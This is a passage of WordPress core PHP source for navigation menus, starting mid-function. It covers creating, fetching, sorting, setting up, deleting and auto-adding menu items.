: (array) wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) ); $last_item = array_pop( $menu_items ); $args['menu-item-position'] = ( $last_item && isset( $last_item->menu_order ) ) ? 1 + $last_item->menu_order : count( $menu_items ); } $original_parent = 0 < $menu_item_db_id ? get_post_field( 'post_parent', $menu_item_db_id ) : 0; if ( 'custom' != $args['menu-item-type'] ) { /* if non-custom menu item, then: * use original object's URL * blank default title to sync with original object's */ $args['menu-item-url'] = ''; $original_title = ''; if ( 'taxonomy' == $args['menu-item-type'] ) { $original_parent = get_term_field( 'parent', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' ); $original_title = get_term_field( 'name', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' ); } elseif ( 'post_type' == $args['menu-item-type'] ) { $original_object = get_post( $args['menu-item-object-id'] ); $original_parent = (int) $original_object->post_parent; $original_title = $original_object->post_title; } if ( $args['menu-item-title'] == $original_title ) $args['menu-item-title'] = ''; // hack to get wp to create a post object when too many properties are empty if ( '' == $args['menu-item-title'] && '' == $args['menu-item-description'] ) $args['menu-item-description'] = ' '; } // Populate the menu item object $post = array( 'menu_order' => $args['menu-item-position'], 'ping_status' => 0, 'post_content' => $args['menu-item-description'], 'post_excerpt' => $args['menu-item-attr-title'], 'post_parent' => $original_parent, 'post_title' => $args['menu-item-title'], 'post_type' => 'nav_menu_item', ); $update = 0 != $menu_item_db_id; // New menu item. Default is draft status if ( ! $update ) { $post['ID'] = 0; $post['post_status'] = 'publish' == $args['menu-item-status'] ? 'publish' : 'draft'; $menu_item_db_id = wp_insert_post( $post ); if ( ! $menu_item_db_id || is_wp_error( $menu_item_db_id ) ) return $menu_item_db_id; } // Associate the menu item with the menu term // Only set the menu term if it isn't set to avoid unnecessary wp_get_object_terms() if ( $menu_id && ( ! $update || ! is_object_in_term( $menu_item_db_id, 'nav_menu', (int) $menu->term_id ) ) ) { wp_set_object_terms( $menu_item_db_id, array( $menu->term_id ), 'nav_menu' ); } if ( 'custom' == $args['menu-item-type'] ) { $args['menu-item-object-id'] = $menu_item_db_id; $args['menu-item-object'] = 'custom'; } $menu_item_db_id = (int) $menu_item_db_id; update_post_meta( $menu_item_db_id, '_menu_item_type', sanitize_key($args['menu-item-type']) ); update_post_meta( $menu_item_db_id, '_menu_item_menu_item_parent', strval( (int) $args['menu-item-parent-id'] ) ); update_post_meta( $menu_item_db_id, '_menu_item_object_id', strval( (int) $args['menu-item-object-id'] ) ); update_post_meta( $menu_item_db_id, '_menu_item_object', sanitize_key($args['menu-item-object']) ); update_post_meta( $menu_item_db_id, '_menu_item_target', sanitize_key($args['menu-item-target']) ); $args['menu-item-classes'] = array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-classes'] ) ); $args['menu-item-xfn'] = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-xfn'] ) ) ); update_post_meta( $menu_item_db_id, '_menu_item_classes', $args['menu-item-classes'] ); update_post_meta( $menu_item_db_id, '_menu_item_xfn', $args['menu-item-xfn'] ); update_post_meta( $menu_item_db_id, '_menu_item_url', esc_url_raw($args['menu-item-url']) ); if ( 0 == $menu_id ) update_post_meta( $menu_item_db_id, '_menu_item_orphaned', (string) time() ); elseif ( get_post_meta( $menu_item_db_id, '_menu_item_orphaned' ) ) delete_post_meta( $menu_item_db_id, '_menu_item_orphaned' ); // Update existing menu item. Default is publish status if ( $update ) { $post['ID'] = $menu_item_db_id; $post['post_status'] = 'draft' == $args['menu-item-status'] ? 'draft' : 'publish'; wp_update_post( $post ); } /** * Fires after a navigation menu item has been updated. * * @since 3.0.0 * * @see wp_update_nav_menu_items() * * @param int $menu_id ID of the updated menu. * @param int $menu_item_db_id ID of the updated menu item. * @param array $args An array of arguments used to update a menu item. */ do_action( 'wp_update_nav_menu_item', $menu_id, $menu_item_db_id, $args ); return $menu_item_db_id; } /** * Returns all navigation menu objects. * * @since 3.0.0 * @since 4.1.0 Default value of the 'orderby' argument was changed from 'none' * to 'name'. * * @param array $args Optional. Array of arguments passed on to {@see get_terms()}. * Default empty array. * @return array Menu objects. */ function wp_get_nav_menus( $args = array() ) { $defaults = array( 'hide_empty' => false, 'orderby' => 'name' ); $args = wp_parse_args( $args, $defaults ); /** * Filter the navigation menu objects being returned. * * @since 3.0.0 * * @see get_terms() * * @param array $menus An array of menu objects. * @param array $args An array of arguments used to retrieve menu objects. */ return apply_filters( 'wp_get_nav_menus', get_terms( 'nav_menu', $args), $args ); } /** * Sort menu items by the desired key. * * @since 3.0.0 * @access private * * @param object $a The first object to compare * @param object $b The second object to compare * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b. */ function _sort_nav_menu_items( $a, $b ) { global $_menu_item_sort_prop; if ( empty( $_menu_item_sort_prop ) ) return 0; if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) ) return 0; $_a = (int) $a->$_menu_item_sort_prop; $_b = (int) $b->$_menu_item_sort_prop; if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop ) return 0; elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop ) return $_a < $_b ? -1 : 1; else return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop ); } /** * Return if a menu item is valid. * * @link https://core.trac.wordpress.org/ticket/13958 * * @since 3.2.0 * @access private * * @param object $item The menu item to check. * @return bool False if invalid, otherwise true. */ function _is_valid_nav_menu_item( $item ) { if ( ! empty( $item->_invalid ) ) return false; return true; } /** * Return all menu items of a navigation menu. * * @since 3.0.0 * * @param string $menu Menu name, ID, or slug. * @param array $args Optional. Arguments to pass to {@see get_posts()}. * @return mixed $items Array of menu items, otherwise false. */ function wp_get_nav_menu_items( $menu, $args = array() ) { $menu = wp_get_nav_menu_object( $menu ); if ( ! $menu ) return false; static $fetched = array(); $items = get_objects_in_term( $menu->term_id, 'nav_menu' ); if ( empty( $items ) ) return $items; $defaults = array( 'order' => 'ASC', 'orderby' => 'menu_order', 'post_type' => 'nav_menu_item', 'post_status' => 'publish', 'output' => ARRAY_A, 'output_key' => 'menu_order', 'nopaging' => true ); $args = wp_parse_args( $args, $defaults ); $args['include'] = $items; $items = get_posts( $args ); if ( is_wp_error( $items ) || ! is_array( $items ) ) return false; // Get all posts and terms at once to prime the caches if ( empty( $fetched[$menu->term_id] ) || wp_using_ext_object_cache() ) { $fetched[$menu->term_id] = true; $posts = array(); $terms = array(); foreach ( $items as $item ) { $object_id = get_post_meta( $item->ID, '_menu_item_object_id', true ); $object = get_post_meta( $item->ID, '_menu_item_object', true ); $type = get_post_meta( $item->ID, '_menu_item_type', true ); if ( 'post_type' == $type ) $posts[$object][] = $object_id; elseif ( 'taxonomy' == $type) $terms[$object][] = $object_id; } if ( ! empty( $posts ) ) { foreach ( array_keys($posts) as $post_type ) { get_posts( array('post__in' => $posts[$post_type], 'post_type' => $post_type, 'nopaging' => true, 'update_post_term_cache' => false) ); } } unset($posts); if ( ! empty( $terms ) ) { foreach ( array_keys($terms) as $taxonomy ) { get_terms($taxonomy, array('include' => $terms[$taxonomy]) ); } } unset($terms); } $items = array_map( 'wp_setup_nav_menu_item', $items ); if ( ! is_admin() ) // Remove invalid items only in frontend $items = array_filter( $items, '_is_valid_nav_menu_item' ); if ( ARRAY_A == $args['output'] ) { $GLOBALS['_menu_item_sort_prop'] = $args['output_key']; usort($items, '_sort_nav_menu_items'); $i = 1; foreach( $items as $k => $item ) { $items[$k]->$args['output_key'] = $i++; } } /** * Filter the navigation menu items being returned. * * @since 3.0.0 * * @param array $items An array of menu item post objects. * @param object $menu The menu object. * @param array $args An array of arguments used to retrieve menu item objects. */ return apply_filters( 'wp_get_nav_menu_items', $items, $menu, $args ); } /** * Decorates a menu item object with the shared navigation menu item properties. * * Properties: * - db_id: The DB ID of this item as a nav_menu_item object, if it exists (0 if it doesn't exist). * - object_id: The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories. * - type: The family of objects originally represented, such as "post_type" or "taxonomy." * - object: The type of object originally represented, such as "category," "post", or "attachment." * - type_label: The singular label used to describe this type of menu item. * - post_parent: The DB ID of the original object's parent object, if any (0 otherwise). * - menu_item_parent: The DB ID of the nav_menu_item that is this item's menu parent, if any. 0 otherwise. * - url: The URL to which this menu item points. * - title: The title of this menu item. * - target: The target attribute of the link element for this menu item. * - attr_title: The title attribute of the link element for this menu item. * - classes: The array of class attribute values for the link element of this menu item. * - xfn: The XFN relationship expressed in the link of this menu item. * - description: The description of this menu item. * * @since 3.0.0 * * @param object $menu_item The menu item to modify. * @return object $menu_item The menu item with standard menu item properties. */ function wp_setup_nav_menu_item( $menu_item ) { if ( isset( $menu_item->post_type ) ) { if ( 'nav_menu_item' == $menu_item->post_type ) { $menu_item->db_id = (int) $menu_item->ID; $menu_item->menu_item_parent = empty( $menu_item->menu_item_parent ) ? get_post_meta( $menu_item->ID, '_menu_item_menu_item_parent', true ) : $menu_item->menu_item_parent; $menu_item->object_id = empty( $menu_item->object_id ) ? get_post_meta( $menu_item->ID, '_menu_item_object_id', true ) : $menu_item->object_id; $menu_item->object = empty( $menu_item->object ) ? get_post_meta( $menu_item->ID, '_menu_item_object', true ) : $menu_item->object; $menu_item->type = empty( $menu_item->type ) ? get_post_meta( $menu_item->ID, '_menu_item_type', true ) : $menu_item->type; if ( 'post_type' == $menu_item->type ) { $object = get_post_type_object( $menu_item->object ); if ( $object ) { $menu_item->type_label = $object->labels->singular_name; } else { $menu_item->type_label = $menu_item->object; $menu_item->_invalid = true; } $menu_item->url = get_permalink( $menu_item->object_id ); $original_object = get_post( $menu_item->object_id ); $original_title = $original_object->post_title; if ( '' === $original_title ) { $original_title = sprintf( __( '#%d (no title)' ), $original_object->ID ); } $menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title; } elseif ( 'taxonomy' == $menu_item->type ) { $object = get_taxonomy( $menu_item->object ); if ( $object ) { $menu_item->type_label = $object->labels->singular_name; } else { $menu_item->type_label = $menu_item->object; $menu_item->_invalid = true; } $term_url = get_term_link( (int) $menu_item->object_id, $menu_item->object ); $menu_item->url = !is_wp_error( $term_url ) ? $term_url : ''; $original_title = get_term_field( 'name', $menu_item->object_id, $menu_item->object, 'raw' ); if ( is_wp_error( $original_title ) ) $original_title = false; $menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title; } else { $menu_item->type_label = __('Custom'); $menu_item->title = $menu_item->post_title; $menu_item->url = empty( $menu_item->url ) ? get_post_meta( $menu_item->ID, '_menu_item_url', true ) : $menu_item->url; } $menu_item->target = empty( $menu_item->target ) ? get_post_meta( $menu_item->ID, '_menu_item_target', true ) : $menu_item->target; /** * Filter a navigation menu item's title attribute. * * @since 3.0.0 * * @param string $item_title The menu item title attribute. */ $menu_item->attr_title = empty( $menu_item->attr_title ) ? apply_filters( 'nav_menu_attr_title', $menu_item->post_excerpt ) : $menu_item->attr_title; if ( empty( $menu_item->description ) ) { /** * Filter a navigation menu item's description. * * @since 3.0.0 * * @param string $description The menu item description. */ $menu_item->description = apply_filters( 'nav_menu_description', wp_trim_words( $menu_item->post_content, 200 ) ); } $menu_item->classes = empty( $menu_item->classes ) ? (array) get_post_meta( $menu_item->ID, '_menu_item_classes', true ) : $menu_item->classes; $menu_item->xfn = empty( $menu_item->xfn ) ? get_post_meta( $menu_item->ID, '_menu_item_xfn', true ) : $menu_item->xfn; } else { $menu_item->db_id = 0; $menu_item->menu_item_parent = 0; $menu_item->object_id = (int) $menu_item->ID; $menu_item->type = 'post_type'; $object = get_post_type_object( $menu_item->post_type ); $menu_item->object = $object->name; $menu_item->type_label = $object->labels->singular_name; if ( '' === $menu_item->post_title ) $menu_item->post_title = sprintf( __( '#%d (no title)' ), $menu_item->ID ); $menu_item->title = $menu_item->post_title; $menu_item->url = get_permalink( $menu_item->ID ); $menu_item->target = ''; /** This filter is documented in wp-includes/nav-menu.php */ $menu_item->attr_title = apply_filters( 'nav_menu_attr_title', '' ); /** This filter is documented in wp-includes/nav-menu.php */ $menu_item->description = apply_filters( 'nav_menu_description', '' ); $menu_item->classes = array(); $menu_item->xfn = ''; } } elseif ( isset( $menu_item->taxonomy ) ) { $menu_item->ID = $menu_item->term_id; $menu_item->db_id = 0; $menu_item->menu_item_parent = 0; $menu_item->object_id = (int) $menu_item->term_id; $menu_item->post_parent = (int) $menu_item->parent; $menu_item->type = 'taxonomy'; $object = get_taxonomy( $menu_item->taxonomy ); $menu_item->object = $object->name; $menu_item->type_label = $object->labels->singular_name; $menu_item->title = $menu_item->name; $menu_item->url = get_term_link( $menu_item, $menu_item->taxonomy ); $menu_item->target = ''; $menu_item->attr_title = ''; $menu_item->description = get_term_field( 'description', $menu_item->term_id, $menu_item->taxonomy ); $menu_item->classes = array(); $menu_item->xfn = ''; } /** * Filter a navigation menu item object. * * @since 3.0.0 * * @param object $menu_item The menu item object. */ return apply_filters( 'wp_setup_nav_menu_item', $menu_item ); } /** * Get the menu items associated with a particular object. * * @since 3.0.0 * * @param int $object_id The ID of the original object. * @param string $object_type The type of object, such as "taxonomy" or "post_type." * @param string $taxonomy If $object_type is "taxonomy", $taxonomy is the name of the tax that $object_id belongs to * @return array The array of menu item IDs; empty array if none; */ function wp_get_associated_nav_menu_items( $object_id = 0, $object_type = 'post_type', $taxonomy = '' ) { $object_id = (int) $object_id; $menu_item_ids = array(); $query = new WP_Query; $menu_items = $query->query( array( 'meta_key' => '_menu_item_object_id', 'meta_value' => $object_id, 'post_status' => 'any', 'post_type' => 'nav_menu_item', 'posts_per_page' => -1, ) ); foreach( (array) $menu_items as $menu_item ) { if ( isset( $menu_item->ID ) && is_nav_menu_item( $menu_item->ID ) ) { $menu_item_type = get_post_meta( $menu_item->ID, '_menu_item_type', true ); if ( 'post_type' == $object_type && 'post_type' == $menu_item_type ) { $menu_item_ids[] = (int) $menu_item->ID; } else if ( 'taxonomy' == $object_type && 'taxonomy' == $menu_item_type && get_post_meta( $menu_item->ID, '_menu_item_object', true ) == $taxonomy ) { $menu_item_ids[] = (int) $menu_item->ID; } } } return array_unique( $menu_item_ids ); } /** * Callback for handling a menu item when its original object is deleted. * * @since 3.0.0 * @access private * * @param int $object_id The ID of the original object being trashed. * */ function _wp_delete_post_menu_item( $object_id = 0 ) { $object_id = (int) $object_id; $menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'post_type' ); foreach( (array) $menu_item_ids as $menu_item_id ) { wp_delete_post( $menu_item_id, true ); } } /** * Callback for handling a menu item when its original object is deleted. * * @since 3.0.0 * @access private * * @param int $object_id The ID of the original object being trashed. * */ function _wp_delete_tax_menu_item( $object_id = 0, $tt_id, $taxonomy ) { $object_id = (int) $object_id; $menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'taxonomy', $taxonomy ); foreach( (array) $menu_item_ids as $menu_item_id ) { wp_delete_post( $menu_item_id, true ); } } /** * Automatically add newly published page objects to menus with that as an option. * * @since 3.0.0 * @access private * * @param string $new_status The new status of the post object. * @param string $old_status The old status of the post object. * @param object $post The post object being transitioned from one status to another. * @return void */ function _wp_auto_add_pages_to_menu( $new_status, $old_status, $post ) { if ( 'publish' != $new_status || 'publish' == $old_status || 'page' != $post->post_type ) return; if ( ! empty( $post->post_parent ) ) return; $auto_add = get_option( 'nav_menu_options' ); if ( empty( $auto_add ) || ! is_array( $auto_add ) || ! isset( $auto_add['auto_add'] ) ) return; $auto_add = $auto_add['auto_add']; if ( empty( $auto_add ) || ! is_array( $auto_add ) ) return; $args = array( 'menu-item-object-id' => $post->ID, 'menu-item-object' => $post->post_type, 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish', ); foreach ( $auto_add as $menu_id ) { $items = wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) ); if ( ! is_array( $items ) ) continue; foreach ( $items as $item ) { if ( $post->ID == $item->object_id ) continue 2; } wp_update_nav_menu_item( $menu_id, 0, $args ); } }